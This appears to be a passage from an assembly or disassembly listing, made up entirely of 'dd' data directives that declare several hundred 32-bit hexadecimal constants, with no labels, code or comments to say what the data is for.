		dd 53E2EC89h, 0A4193755h, 0BD2941C8h, 80DA5495h, 6924D945h
		dd 0CB91DE94h, 602A6026h, 0BB6C3601h, 0AA260E04h, 538C1297h
		dd 67CB00E1h, 0E578FB3Fh, 0BF003652h, 3ECA620Eh, 0B75061F4h
		dd 0B5A33A46h, 0F6594F84h, 178025DBh, 0C0A4A792h, 637F7013h
		dd 854EF8Dh, 0BC13BDAAh, 0B4E03A1h, 8E74BFBCh, 9280169Ah
		dd 8BDFD8D2h, 5C4966B4h, 1A0C105Dh, 0B74765E9h,	0E30E801Eh
		dd 151D1870h, 214CF576h, 299FC0B5h, 48032Fh, 8161BB6Bh
		dd 0B1F947F7h, 0C6305B76h, 0E9FCF31Ch, 0E3FFF891h, 1B81C7Dh
		dd 9B418800h, 688BFFB1h, 66DB175Bh, 0E4E78871h,	7A0033F8h
		dd 13990E44h, 44F6A694h, 90E35B61h, 809EE830h, 272987D1h
		dd 160FBA94h, 1712EE64h, 0E395A04h, 822CC413h, 0C57C9DBBh
		dd 29E9928h, 2E37A5h, 64F7E94Dh, 1348DD80h, 28AD139Dh
		dd 36807B9Eh, 2CA5E262h, 10C1A85Eh, 24058B64h, 0B857BD3Bh
		dd 95AF0134h, 54DBF690h, 5A7460D7h, 0BF04727Eh,	2347C5A5h
		dd 76BD4AD5h, 3C005CB8h, 7AD82DAFh, 12730CBBh, 0F1595302h
		dd 805D1E36h, 0ECF99A6Ah, 0F32C00D6h, 95336070h, 0E49721F5h
		dd 731545E5h, 0ECCF004Ah, 3094F54Ch, 21740058h,	16970E9Ah
		dd 0FEBE103Fh, 0F229C840h, 12200F4h, 37200F44h,	1958812Fh
		dd 51DC0EDBh, 3E8D3259h, 0A9E8EFEDh, 994B0062h,	0FEE49C76h
		dd 0EA258090h, 0A078E6A7h, 8132313Fh, 89B62C50h, 8EE7C3Eh
		dd 94242D75h, 27FF7225h, 0C17BC08Bh, 0FB2A7071h, 69BDCB24h
		dd 648DE7E8h, 958970E6h, 7C6A8AB1h, 5F082740h, 746F6034h
		dd 816EEAh, 0B51A5711h,	0BAE810Ah, 58F78ACEh, 92BB7737h
		dd 210B723Ah, 26B25189h, 0C20C31AEh, 7E60C108h,	94A24120h
		dd 40A925F7h, 0FF004D64h, 0D913ACDDh, 695EE187h, 0C884DC61h
		dd 410582CEh, 0CF03F171h, 0DE894BEBh, 0BA64CE54h, 0F00E1003h
		dd 5376EAFBh, 14C28314h, 41A138A1h, 509CFFE7h, 50264065h
		dd 6B7676BFh, 506046F7h, 325805E8h, 0F01AC22Bh,	388593D6h
		dd 37AB5A4Dh, 50B760EAh, 0D01D033Ch, 459A3A81h,	5DF2FD19h
		dd 0AAC2D6Ch, 4CD969E9h, 0D0C8DE06h, 1B31D520h,	4F3C4003h
		dd 7520C2BEh, 0F58B790Eh, 26051288h, 5BF8363Ah,	30C181Ch
		dd 0D8120D1h, 8D84DDEh,	82164112h, 4BDBD9FFh, 8B51CC90h
		dd 100A1D90h, 14B0A981h, 3359B530h, 0BEC35FC0h,	2924CC72h
		dd 68014273h, 0D49AA7D2h, 0A8FA342Bh, 2894D6F4h, 647DB8ADh
		dd 0A2D3EB2Dh, 0A27000D1h, 45E97BB4h, 3C2D000Bh, 9A71578Eh
		dd 8209443Eh, 6460FDCCh, 0A04B009Ah, 422F62A5h,	0DC0020EEh
		dd 1CF71171h, 0BF48C64h, 596192B7h, 2198DB18h, 0DF385600h
		dd 0C181BA04h, 8971556Dh, 0D0B6372Fh, 0C1494FF2h, 87A25FF6h
		dd 0FF70015Dh, 0DA410834h, 77235EDBh, 8F66007Bh, 0F6818D63h
		dd 0D61DC6ABh, 80FAFC7Bh, 67D91E44h, 6028B351h,	9C19225Ah
		dd 4BC37CC7h, 0E0013489h, 0BCA9BF3h, 8A602D0Ah,	0E883D383h
		dd 0CC38BAE8h, 4807C118h, 1381F902h, 0C18F40F8h, 3DB08586h
		dd 4282248Ch, 0DCE6F54Bh, 0B21CBB00h, 0E56319Eh, 3ED33A70h
		dd 380F6EBEh, 1320536Fh, 5F5877DCh, 1EE39600h, 0BE2C0464h
		dd 0E5510010h, 0B7F2A5F8h, 690D404Ch, 0DE93C5FDh, 67DA9C8Eh
		dd 5B5677A3h, 826F5803h, 0CBC68A1h, 72A77038h, 0F30FF668h
		dd 401731CDh, 0DF135634h, 603E00DEh, 0EC106F2Dh, 0C71691CBh
		dd 8C027016h, 9E77AE78h, 0E8042320h, 0C44DCF04h, 3985486h
		dd 19F941B8h, 71CF2FA5h, 807D576Fh, 0FD645EF1h,	0C14E7C2h
		dd 7CFF6ADCh, 21C01608h, 86FD6DB3h, 0B73030Dh, 207906CDh
		dd 0BE307EE0h, 0E844F230h, 60EDC38Ch, 0C893B0C4h, 0BB037E76h
		dd 90A36F02h, 3B30783Dh, 653DC1D8h, 0BF52D30Fh,	0D708AB2Ch
		dd 7F206E60h, 1203DBAh,	0C17DAE1Bh, 0C8B426A5h,	0FF1EC8F6h
		dd 7F4595F2h, 0B85D3FCCh, 0C4331ACAh, 423DE782h, 0AC780C82h
		dd 3BC47F8Ch, 3046A36Eh, 0BD7A2121h, 691EA3Dh, 0E8934B5Ah
		dd 2485C068h, 60A8D2C7h, 441B2DC1h, 19AEE505h, 0A400AC07h
		dd 4597CC7Eh, 70E887h, 0BED49430h, 7125F66Dh, 411AB502h
		dd 8243374Ch, 63CEACh, 806C7ED5h, 386080E5h, 1787AB8Fh
		dd 9E9A5CF6h, 8B2EE19h,	0AA21807Ah, 7F7B87A3h, 2A3F7E90h
		dd 81E48457h, 631868FCh, 0E7C7FD08h, 406BC47Ch,	16FD68BEh
		dd 0A95B3D04h, 0EA823480h, 2C911D10h, 0E99B88A8h, 0AE2B0FEh
		dd 4D7B2400h, 76D79FABh, 23DD005Dh, 0DAA53E9Bh,	7F28EAA3h
		dd 40A7D4B5h, 0A2601544h, 2500EA74h, 0AD678A78h, 0A8BAF270h
		dd 0F657B0ACh, 0AB98A34Eh, 619180Ch, 292A21BFh,	0EE327300h
		dd 33A2BC42h, 9039399Ah, 4A12E906h, 0DF21A062h,	896A11ACh
		dd 0E7F20261h, 1450916Ch, 0FD76BC10h, 9DF7D300h, 4E597E93h
		dd 70103480h, 6DE00820h, 1687A8C0h, 228246F6h, 0A0A9017Bh
		dd 0E5C99187h, 43989096h, 48C62FCh, 1FCDE501h, 808C816Eh
		dd 6A4C52CCh, 1187A930h, 888AF669h, 0A1A88085h,	1B9ED987h
		dd 58457501h, 65A51D70h, 40B6BC20h, 6709616Ah, 19C890A8h
		dd 0C018A0A0h, 0DBB842EDh, 0D345A04Ch, 3DB9C8h,	5AFCAB0h
		dd 6C5694F2h, 82A3D1C0h, 0E14DB55h, 0AAB8ADCFh,	9B233A0h
		dd 0E97C0C4Bh, 0BF988550h, 6E23B542h, 0C1FD6501h, 3D0E0CE7h
		dd 3EFD10B0h, 1379A711h, 0B8217334h, 7030C235h,	0B0BDF011h
		dd 5B30A8F7h, 542C1D12h, 728BCF30h, 0AD087FECh,	6A7921C2h
		dd 6754C02Ch, 0BDDC3457h, 0A9C0418h, 5A49008Fh,	3223F5h
		dd 0DE89FFC9h, 3E35061Fh, 0BE702383h, 572C1301h, 0A1186730h
		dd 6B7888h, 703AC52Ch, 358BF60h, 3BC9C0C2h, 0A7911D17h
		dd 5B0D9480h, 930E1D84h, 8551B55Dh, 0DC1069F4h,	0AA0B10BCh
		dd 60C06B88h, 46E7C6FDh, 0BF897574h, 0F400A261h, 3104A91h
		dd 8413D9BDh, 7892CDE7h, 5468C4A4h, 169235Ch, 0F6128654h
		dd 887918A2h, 8703ACADh, 0C3F88C23h, 57B1F947h,	586FB088h
		dd 0F7C5E703h, 3C691075h, 8C7BF872h, 0C3964704h, 1480CD95h
		dd 0E9ED3968h, 20F8E9A0h, 131F825Ah, 29D4FBF4h,	10F848C8h
		dd 7688447Eh, 158655C0h, 70AA52F6h, 87ADAC80h, 0D3041F8Fh
		dd 5A4EBF49h, 0BC9884D1h, 762E3C41h, 0FF261E00h, 67099CB0h
		dd 113C6506h, 6918B830h, 31A92C08h, 40A4C437h, 3D2C617Ah
		dd 6EEC66h, 31EB34FEh, 0F41EA135h, 0BE142676h, 23684376h
		dd 86570168h, 18BAF613h, 0AFAE8887h, 271C07ECh,	6C421098h
		dd 8ED125CBh, 0A83BB3A8h, 0F8008323h, 1BEB736Bh, 0B47700E8h
		dd 88C9C8DEh, 0FB587004h, 56308724h, 91F6914h, 6084E0C0h
		dd 0C2C67ADh, 60C34DA3h, 7D80D588h, 0E46A3DBCh,	0EA9F03DEh
		dd 1A3FA579h, 312028E8h, 4C987548h, 8C79F80Ch, 45181F01h
		dd 65BA4E30h, 3DF4A885h, 0B9C88890h, 1E03ED00h,	0D49F8FC4h
		dd 0A4570041h, 0DDAD5A82h
		dd 0D04A2D3h, 0F13926E0h, 10E54C88h, 295BA35h, 15EB9616h
		dd 0F8B881D5h, 88666B80h, 1B6E67F0h, 2C316300h,	28EE1EA3h
		dd 65DB0002h, 0F49A8B90h, 0C66755C3h, 6AAE5E68h, 0B243C4E5h
		dd 5CD178A0h, 49DFA0BFh, 0D380A67Ch, 1658D252h,	57713C00h
		dd 144853C1h, 619A035Ch, 8AD73064h, 48CB877h, 0E7C0FD62h
		dd 3BB13804h, 3280FD6Bh, 2C43057Fh, 0F225A42Dh,	93007A7h
		dd 4A48A687h, 2E7A5C0Ch, 3609018Ch, 12763055h, 0F2E04045h
		dd 254C89E3h, 0A2C453CCh, 358230A7h, 0ADF69F00h, 7363D245h
		dd 0F339181Bh, 3103D97Fh, 3A2AE25h, 0B8E7CE28h,	4D7F1AA5h
		dd 60B805Dh, 0B410573Ch, 0C500C62Bh, 1894BD72h,	0CA85FAh
		dd 0C18CDA0Fh, 0FC0B0ECDh, 27F23D24h, 34574030h, 502A30AEh
		dd 0F327EE60h, 6F6C2E1Dh, 6006A6C9h, 0C814F6B0h, 10C0BFE0h
		dd 5830562Ch, 7BE09C7Fh, 8D062C68h, 785603F8h, 7121E7A1h
		dd 0FA240C40h, 4D8003DFh, 0A88701E4h, 265E30F0h, 0D9C04C35h
		dd 7A23B43Ah, 7962853Ah, 0E0413133h, 5C5F19C3h,	1D90F092h
		dd 35E6819Fh, 844FC6AEh, 0D291FBE1h, 0D5306880h, 8C1007EDh
		dd 80473A17h, 0C2796B7Dh, 0CBF48804h, 0DCB0234Dh, 7FB626AEh
		dd 84467CFCh, 40B3731Fh, 35154ADBh, 0FA153B9Dh,	3CECB0BFh
		dd 46F224AEh, 34A1F421h, 9C188771h, 64F13109h, 59580734h
		dd 60B944C8h, 23A82C16h, 0A0110F31h, 2C6E7D03h,	0FF1806h
		dd 85A3DD98h, 143A99D3h, 0F9007823h, 0A70D3F84h, 53B330FAh
		dd 0D5310AE8h, 0F7FCD452h, 0FD09C078h, 0A8073369h, 0B8114F20h
		dd 0EB44820Bh, 0F68F0180h, 0F2E620BCh, 70B2DB30h, 4E3E2DFBh
		dd 233C3B9Fh, 543C002Eh, 0AC25C915h, 3FBAC804h,	9C8C82A6h
		dd 0AAD09569h, 93DBCD18h, 4AADA368h, 230C2F72h,	0F3D300A0h
		dd 0C0D90EFBh, 0BEF79CA0h, 10CBC8D2h, 7CCA60C8h, 2C1C5B17h
		dd 64E84514h, 6E606D48h, 0E723C4FDh, 16611164h,	280277BDh
		dd 9012A114h, 40031AB0h, 3F0590B0h, 0B80D5689h,	0FCD68D0h
		dd 50B8A49Ch, 0A278E367h, 0EEFCE508h, 80928FB1h, 0EC95B813h
		dd 0AC6504E4h, 0F062345Dh, 2114C3A0h, 90945127h, 0F5D7E8F4h
		dd 0B300200Ch, 0EA6018B5h, 5827DCA6h, 0D112844Eh, 0D52CD2DFh
		dd 89C15C4Dh, 62FC1CA4h, 3DF802C5h, 0B6066D4Ch,	0A6E8FCA3h
		dd 0B78229D0h, 0AB65ED00h, 16090D37h, 334101E5h, 7C0E054h
		dd 6B3180B5h, 148E9865h, 0D42F00C7h, 4D9E3EFFh,	22163B43h
		dd 88214B17h, 0AE086DBAh, 60D8F78Ch, 22AB46A3h,	3787A2Ch
		dd 0E9C3A13Dh, 5078BA43h, 0FAAFB109h, 0F57C0059h, 49381E33h
		dd 158570BCh, 17A0822Ch, 0A344704Ch, 2C6D0006h,	8528B6C9h
		dd 49041AD6h, 0FB3F32C7h, 0FC0B0DBh, 51B97919h,	0E374FB01h
		dd 0AA6F1AA3h, 0EDF8FC69h, 46513942h, 8FDFC3Ch,	0E8461B20h
		dd 5206E4Ah, 6BE321A4h,	0B4A06D84h, 2DC9026Fh, 63BAC7BCh
		dd 0DAEC784Dh, 2C4F3BFEh, 0B7EF1C81h, 0CBCBF5C4h, 0FB3EC100h
		dd 0CC3DF3F2h, 0D980B916h, 6518ACh, 35F41E9Eh, 0E7834D68h
		dd 0D4DCBC16h, 8423282Fh, 0F49A4400h, 28C8DF5h,	0EAA3ECF6h
		dd 0FC4446C7h, 0A7F9CB09h, 0E504B248h, 6ED26204h, 0EF7418h
		dd 6DC12C47h, 33C39012h, 0C5E79404h, 288097CBh,	2754EAA7h
		dd 0FCB7444Fh, 0F880E29Ch, 25E5B83Fh, 589D62C2h, 8CD1BF69h
		dd 0EF81171Fh, 7B843D80h, 1B4D25FCh, 21A906A7h,	107C6800h
		dd 0EEDBB376h, 0CC160063h, 7724462Ch, 152956ADh, 15ADB8C0h
		dd 80829154h, 8C79A055h, 48B83FEFh, 0E704B639h,	0C88FA22Dh
		dd 3171792Ch, 4BC0828Ah, 8FE503B0h, 0A7902043h,	5BD9C158h
		dd 8268F4C0h, 0DF0C2FFCh, 693E3A79h, 25EE031Eh,	0E360390Fh
		dd 0CBD0D5ECh, 0CEA1C860h, 0E95DFE60h, 0C02C6979h, 830ABBCEh
		dd 0C68E8477h, 4AD62003h, 1D9495Eh, 0A763ACCDh,	233489F2h
		dd 3063E200h, 0B337C6BEh, 60C1D1A7h, 0A448912Fh, 0F4E30078h
		dd 97E28BD2h, 22677C7h,	6E015C4Dh, 6F103C79h, 0D5ECE078h
		dd 0E985078Ch, 90DA435Ch, 0B43E6B8Eh, 21EB960Ah, 3A82A4C4h
		dd 50ADCBF4h, 0A42B1624h, 39200847h, 0E6057CBFh, 0A886EE33h
		dd 0B344F0C0h, 0F8C70AADh, 8F6CB275h, 0A3A6EEC0h, 0C971116Bh
		dd 0DCEBDB28h, 3D6A520h, 372491Dh, 28A65991h, 0C2208050h
		dd 1C95FF05h, 0E0CEDA9Bh, 0C050D0CFh, 77B7C547h, 0FAA309BCh
		dd 10895E2Fh, 17E44065h, 0D7BEE060h, 9A1C990Ah,	0B2408891h
		dd 3AF48Bh, 0C653EA0Bh,	959FD19h, 0C5F75500h, 8891BE35h
		dd 0C93E1EDFh, 78D280FFh, 0F47568EEh, 0F01F9902h, 8F3579FEh
		dd 92C4A16Ch, 0C986CF83h, 89715638h, 0F498E00h,	76AB3B79h
		dd 7AA61C24h, 319285BCh, 2F1817DEh, 8523D8h, 39806EDh
		dd 0C3F428ABh, 36A7F309h, 2DB80763h, 0D160FC53h, 0B46CCD89h
		dd 78CA4ECh, 4A308E49h,	71C32EACh, 600EFE9Ch, 6EAD7FD5h
		dd 342FF609h, 0EF00A023h, 0E85EC1FFh, 0C0837BDDh, 0FE8F88D9h
		dd 8C002C85h, 6E1553FBh, 0F4EAB9h, 6791306Fh, 95A7CD09h
		dd 0A1126899h, 0B0C73063h, 8CE3A363h, 71D444h, 91A43DB8h
		dd 685F6648h, 0F809287Ah, 218BFA89h, 3BA50734h,	38CB5089h
		dd 2235AC02h, 6DA3B201h, 2E18A980h, 1263089Ah, 2A50906h
		dd 7E40BF9Bh, 0EC39124Ah, 35B09034h, 0E08393B2h, 99CE2619h
		dd 888268Ch, 0E507B427h, 0B726C3F9h, 2C377811h,	8646B80h
		dd 1E008323h, 57471C58h, 5868FBB6h, 4079CB12h, 6EE05ECCh
		dd 889C15EBh, 8DEABD3Fh, 7183EEC1h, 0D3F3D093h,	34C91D90h
		dd 22609F97h, 876089E7h, 0C9F03174h, 62FBDE1h, 0F1C36B7Eh
		dd 0A90399CBh, 754641B3h, 65E810EBh, 0CC4704BBh, 83059E73h
		dd 0FB3803E4h, 0A014C859h, 81F4A6B2h, 209036CFh, 456B9980h
		dd 7081FEC3h, 10054B01h, 3B99FDCEh, 926DF2E0h, 0BF480C1Ch
		dd 0ECF814B2h, 852C40E7h, 0CA887C83h, 0E7B23F71h, 0FE988800h
		dd 27643069h, 979F943Ah, 0A10248DAh, 0EA9BEA23h, 8A90603Ch
		dd 7BB9C874h, 39801B80h, 0EC185C1Dh, 9D4D0140h,	564C0E0Ah
		dd 81D3CBC8h, 0FB965B80h, 0A83E7D28h, 0BBA99060h, 2C2B1AA7h
		dd 763845CEh, 7001546h,	4CFE1B1Ah, 5104A746h, 13CF5C9h
		dd 38E614C5h, 1B3AFE0h,	0A627D201h, 8262E232h, 95159EE8h
		dd 46BD8C9Dh, 2DC1F902h, 1840AF61h, 0BE5B73E0h,	9C2F8417h
		dd 0D0008223h, 9781DB92h, 0B9F459h, 0CA792430h,	841FEC93h
		dd 3300497Bh, 0FFC8DA10h, 6F5B3FBh, 6A6310Ah, 2765C87Bh
		dd 9CF26F51h, 0D93014F2h, 6A9E0D3h, 837A48D0h, 0F005175h
		dd 0D8C50429h, 9450E78h, 0EA5E6ABAh, 7911DC9Dh,	0C10B4480h
		dd 525E563Fh, 6658901Dh, 0C25F89h, 0BE9076BDh, 57DBC0ACh
		dd 0F83EFA28h, 7ECE800h, 0E55B0FBCh, 0EE5B25h, 29F41EA0h
		dd 8A314E31h, 0E6725068h, 20384035h, 8C6BBCh, 1AC19D84h
		dd 62B1B9E4h, 0A66E2A31h, 3C3451B6h, 8EC2D6E3h,	0C0A1C8B4h
		dd 0CE62247Bh, 0F228C803h, 0DE11FBEBh, 0DDF450h, 68B4C4B7h
		dd 0D33F3CF4h, 8CE6373h, 0B8E9EAEBh, 7C61930h, 0BA59C0A8h
		dd 6E2603CFh, 9E6C7100h, 0C7C33A46h, 5C62B0B3h,	0FE10CC8Dh
		dd 796F027Ah, 86EC83Fh,	0C0D60DA0h, 0EE108049h,	0F2907F21h
		dd 79D334FBh, 0F210F2E8h, 0D01630A7h, 95C08D01h, 3164749Bh
		dd 0B44E56C4h, 1F600C48h, 65432298h, 0A7C0192Eh, 0D0880417h
		dd 683C606Eh, 30B970Dh,	20CB22BDh, 0BCB27F4Ch, 0A7C9CC3h
		dd 403CD4F4h, 203D796Ch
		dd 3FAF4686h, 0A36189C5h, 80C465B3h, 513DBE7Bh,	29042810h
		dd 9EDB64E5h, 0C50740A2h, 8EB57C1Ah, 0F7070540h, 2B0F9774h
		dd 0C3E2BFB4h, 9875CBBh, 0E1FAC9A6h, 0D2E49445h, 0ED3C1B60h
		dd 1D337A03h, 0C499FEDBh, 22814CC0h, 0C1ACA036h, 45A5806Dh
		dd 9A3DE513h, 0E004FC53h, 4D02ADF7h, 2C56163Ch,	0EE58BB00h
		dd 25AA1BEAh, 0F8203E79h, 526B22A5h, 68EE30C0h,	0F6CF6Ah
		dd 0A75D11A6h, 79CEB33Fh, 0BD62487Dh, 69738008h, 5960A300h
		dd 0D82000AEh, 1CEB67A4h, 0C02E441Bh, 0C71F2654h, 73BCB384h
		dd 0BD1E24A7h, 0F02ACF2Eh, 0C0FF1C24h, 59DDCD80h, 2B985F51h
		dd 0C800146Eh, 21C0322Ah, 0F5021D46h, 93C4475Bh, 896B268Fh
		dd 0A27D601Dh, 490C8027h, 782024E1h, 1C709A6Dh,	4318ACBFh
		dd 0ACF90CEh, 0CBB39F90h, 0C1F06298h, 5E1A9705h, 74079E39h
		dd 0EF84B8E5h, 8C6B6F4Bh, 0F4108FE0h, 0CB51EB14h, 10544C97h
		dd 0C90071AEh, 0B62AE3FFh, 86F6319Eh, 663CA09Ah, 88BE079Fh
		dd 0CD8BDFDCh, 8003C7CCh, 67819B1Ah, 3A51077Ah,	0BC542CF8h
		dd 41098CAAh, 9E52C9h, 0C50D2834h, 1CD1EBAh, 3124E0B3h
		dd 8043DCB8h, 97890068h, 0A06D27E3h, 69014F41h,	6B113120h
		dd 0F743E5A8h, 8348180Ch, 0B78A317Fh, 0D30028F4h, 4439BD3Bh
		dd 3994D7A9h, 50AEF505h, 0C5283BF8h, 933E12A4h,	8804CEF6h
		dd 2EAEC1ACh, 995092B3h, 2D902081h, 6C8824h, 0EC4C78D7h
		dd 22671354h, 42B1F017h, 1B73E103h, 0C098FACCh,	8064FA50h
		dd 0BC4AB0F6h, 0D523E02Fh, 27D79E00h, 0C7BCAD9h, 2B9101A6h
		dd 70000941h, 323E2E43h, 0D2CB72h, 9D1804E6h, 74C1830Dh
		dd 87072090h, 0CBE07FFBh, 3F90BFB0h, 9BF94E93h,	0E7EE8070h
		dd 8078F7CDh, 692E1A89h, 8428FCD9h, 0D4D61F2Ch,	38884E08h
		dd 0CC7950Fh, 3B100AB3h, 101849A0h, 9300F524h, 88012AE5h
		dd 1D53C396h, 40C66CCFh, 42EE1B6Eh, 1513EF5Fh, 0B08B4D85h
		dd 99C0D5C8h, 7F1C6A86h, 30C4FCA2h, 0D4412890h,	2600ECF6h
		dd 5722021Eh, 1FC187h, 21FBFAABh, 0A967A28Dh, 0C1B43548h
		dd 2FA5CB9Eh, 83253C3Ch, 0CC78C8C8h, 0FDEE4E01h, 7280182Eh
		dd 3FC41980h, 197439CDh, 5BA66F0Bh, 0B60B00E8h,	0A1B18A8h
		dd 8368A9CEh, 4E8B0018h, 97447BF3h, 8E09A00h, 9DAC4334h
		dd 641E48EEh, 8CA0BCh, 0B6C59299h, 64A5D5DDh, 7A2D090Ah
		dd 7C26D068h, 6F212174h, 5B6A8780h, 7523193Ch, 0F04F4922h
		dd 3076597Dh, 0E89F5069h, 8F80D311h, 0D7FE9180h, 5A205900h
		dd 6776E5B3h, 92263424h, 51F4C260h, 607E3C49h, 0E99DF4h
		dd 0B080E5C9h, 0B9072058h, 88AA43E8h, 1DC2056h,	76AC2F58h
		dd 30D4B1C3h, 0C8006B2Ch, 7CBB6F72h, 73F87F7Eh,	584E7580h
		dd 773AB82Bh, 0C6566C03h, 9B906B83h, 0AE1F9985h, 84F83C48h
		dd 3F6E2B1Fh, 0B29F4480h, 74BC98A9h, 0C73D0192h, 0DA3C91FDh
		dd 0BED5F811h, 219729CDh, 46C71801h, 0BF4E498Eh, 48949092h
		dd 3DB5B805h, 128538D4h, 83A7EC1Ch, 16E5578Ch, 7DAC61B8h
		dd 0A565D5B2h, 91A41759h, 0E5A48079h, 0E83931h,	1177A25Eh
		dd 3DB9EB96h, 0AE68819Dh, 0EC006D52h, 5A3E5BCBh, 39BB0F14h
		dd 3E015EBh, 60498BFEh,	6F214EC3h, 686300F8h, 71FC448Ch
		dd 8D3201D0h, 771A2306h, 54442AB5h, 0DCBD7AB2h,	8026B4E8h
		dd 0B2088CB6h, 73502870h, 7461827Bh, 201E10D5h,	49A10048h
		dd 0DC19A677h, 0B824702Fh, 65259038h, 60A3E498h, 5FE7C8Ch
		dd 57BF1ADDh, 0F92CD1AAh, 0A49E4A1h, 686F8B05h,	0BCC87956h
		dd 1F0475B6h, 80A3316Bh, 3294C774h, 0FD053F03h,	0D1CD09F9h
		dd 0C4245807h, 97FA8930h, 88239F59h, 0E912827Fh, 0D454151Ah
		dd 91671828h, 97BFEA19h, 3FAD8000h, 17604E76h, 3AE7C098h
		dd 2A0AAFFh, 5E57C4h, 6A722DE5h, 467684B4h, 0A9C600D7h
		dd 2AB75A36h, 35760250h, 0B1CBF474h, 0FAC6BCE8h, 0D6C96B01h
		dd 31835CF0h, 30478FDCh, 0A7B9822Ch, 0CB2D38EAh, 44446745h
		dd 1881606Bh, 0AA88389Ch, 0CBE84E9Eh, 84501A97h, 6F733A16h
		dd 21B17CA3h, 38200C6Fh, 11AD47BDh, 8244D047h, 0C3F52060h
		dd 6CDF8E03h, 0C2074223h, 6C5936h, 0AAB3AD1Ch, 1DF06B57h
		dd 8389BD1Dh, 0E49CD40Ah, 30C49309h, 24023D10h,	42A4AF6Bh
		dd 0BB0080D6h, 0FC1D224Ch, 68E00ECCh, 3A9646A5h, 0A32370h
		dd 9C5F770Fh, 2361919Ah, 9BD05CA9h, 13EC4F70h, 29A48EBCh
		dd 0C2B2B14h, 0BA00A423h, 6125D6CEh, 0A6B78F1h,	7183632Eh
		dd 0DF6687A0h, 133970CBh, 9300C758h, 1BCFD3A2h,	4FAF826Fh
		dd 88D0CFD6h, 701CC07Bh, 91C9B9F1h, 4BC88283h, 80A40955h
		dd 106854A1h, 2D02C4D5h, 91ACBF6Bh, 65003CDAh, 3D799E07h
		dd 77C1E525h, 28EEE839h, 93C0C712h, 40297030h, 1C625604h
		dd 48B34F83h, 0A8E74052h, 6411CC0h, 705209CFh, 2C8281C1h
		dd 0CD649F3h, 3E624676h, 0AEF70264h, 421985A2h,	9D1CC409h
		dd 8C1DF0B7h, 32F5A9C1h, 0A0AC1F52h, 0E8682596h, 3A806837h
		dd 60F22A70h, 0BE3E1694h, 0A8D88586h, 8C78BC0Ch, 0E790DD03h
		dd 7E939CDh, 9BFF6F19h,	169CE19Dh, 4D68A7FEh, 70A0CEA8h
		dd 80BFC8A7h, 0D620390Bh, 0B1610DFBh, 0CB82A46Ch, 90003115h
		dd 3E095C33h, 924E3983h, 187407C4h, 31B1DB80h, 3BA8E3Eh
		dd 0FE3DAEDDh, 35E8892Eh, 99040BF8h, 0ED11EE0Ch, 3E4E58C0h
		dd 60F66BFAh, 0BE34DCC0h, 28C2EA4Ah, 0DF805D20h, 0B33FEEA0h
		dd 843ABF4Ah, 5E01AF23h, 5C967750h, 76CCC449h, 3C8B9F32h
		dd 0AA643467h, 0BF870260h, 35E7B909h, 1C07022h,	0D553AC49h
		dd 0E0F3F22Ah, 0A8B4137Ch, 0AE4674h, 1DF57CCBh,	38A0E869h
		dd 278BFF9Eh, 0D6007270h, 0A3B2732Fh, 0F1D47455h, 413CEFFDh
		dd 5C28801Dh, 72F668BAh, 1DD095Fh, 4079562Bh, 465C34A6h
		dd 509A002Fh, 410821EEh, 1EAA2D99h, 0AFE0ACCDh,	4B3F0E88h
		dd 68949DB5h, 8CAAACB0h, 32CC640Bh, 418C78D9h, 84302B76h
		dd 95633F5h, 0EB8382AAh, 8311509Dh, 0FB53B680h,	0BD1F2294h
		dd 0C981AF63h, 7096AAF5h, 0E9EF80D5h, 406D57EBh, 0CCF1BF14h
		dd 4885B8C8h, 78D10A77h, 0F0917CD5h, 2C829FBAh,	0F10731ABh
		dd 307C6728h, 0EF103F2Ch, 741AB33Dh, 0D6F5FF00h, 68A55EC6h
		dd 0DC70BEA8h, 98120298h, 0F8093D5Bh, 0D3850F1h, 5F9E7630h
		dd 8C342BB0h, 0A7F2A8A2h, 327D30h, 9E1CC5D1h, 9139995Ah
		dd 0AC8EBA4Bh, 9AB2810h, 9164F639h, 2F10BD34h, 805C3C26h
		dd 0AB0213A0h, 17FB04E0h, 0AE0D93Dh, 398CB440h,	56DBC902h
		dd 3C7A836Bh, 0F9B67800h, 0E241BF4Ch, 472901E7h, 6FF314Bh
		dd 16180B3h, 0E9E309EFh, 9F16075Eh, 31C1EEA2h, 3E9A2610h
		dd 0A767820h, 324EA98h,	6B795B1Eh, 34E8A890h, 477CB814h
		dd 9801FE4Fh, 4D09CB15h, 6BBB3980h, 0AC173DEEh,	0A2B01E7Eh
		dd 0E953F632h, 705CD37Eh, 18B7D5FBh, 7DC445D0h,	0EA89805Fh
		dd 5A500F49h, 1480F034h, 7A17839h, 1E838471h, 5968E24h
		dd 0F8A5C798h, 30D6EDBCh, 0BC385F06h, 9ECB80C5h, 0C390EF0Dh
		dd 0E73C3D05h, 2C6263A7h, 0B5C44856h, 0F4B8B244h, 1D03EEB0h
		dd 412A3423h, 0E3F6C0CBh, 0C49EA9h, 125A089Dh, 57301809h
		dd 0E668167h, 4CDF0197h, 0D53C7862h, 3F45F41Ah,	7069AB24h
		dd 1DC39908h, 79CDC218h, 88A4E8C6h, 0A1A8C883h,	588CE600h
		dd 16B51F1Bh, 0AD86256Eh, 37D76CC0h, 84C8255Bh,	0D11B62C5h
		dd 3CD42EA5h, 8674912Fh
		dd 3C94D0D0h, 23F5854h,	43C9096h, 0CC597Ch, 0C14D811Dh
		dd 36C53AD7h, 3EA43806h, 7E004107h, 4D6BDD0Fh, 0F99BCD81h
		dd 0A5810828h, 75A33EAh, 916010C9h, 2410F2F2h, 85220Bh
		dd 0C7EF3CA5h, 874B713Fh, 0E5C97C80h, 41B288E3h, 7492404Bh
		dd 0BD072560h, 13448ACh, 0DE7B317Fh, 218F7455h,	726CC465h
		dd 6B27F2F9h, 0CF04225Ch, 4EBD026Fh, 8054C8F8h,	0D326ECACh
		dd 60AFF8A5h, 0C24627BCh, 89FE2D39h, 19EEB300h,	98AF120Eh
		dd 1038E665h, 0EEF9860Ch, 259AB30h, 0C3F6B14Fh,	78542489h
		dd 46766426h, 0D7180E84h, 6E74C1E4h, 682015A8h,	9CAE484Fh
		dd 178C62F8h, 0CC357958h, 51DFFFC0h, 193C3D0Ch,	0D4180939h
		dd 0A0A077C1h, 0C79428B8h, 65639B2Dh, 6014E4C8h, 9462095h
		dd 17A85080h, 4070A804h, 0E65431EAh, 732601ACh,	7F58D985h
		dd 9AD842C1h, 0CF1BF4A0h, 189C3C79h, 9476838Ah,	0F253E681h
		dd 0E2FFFF7Bh, 1981C02Ah, 0D154B1B4h, 84D41978h, 0A43CE3FDh
		dd 0FF014920h, 0D2F34A8Bh, 81A670BFh, 22F91EBCh, 6A60B279h
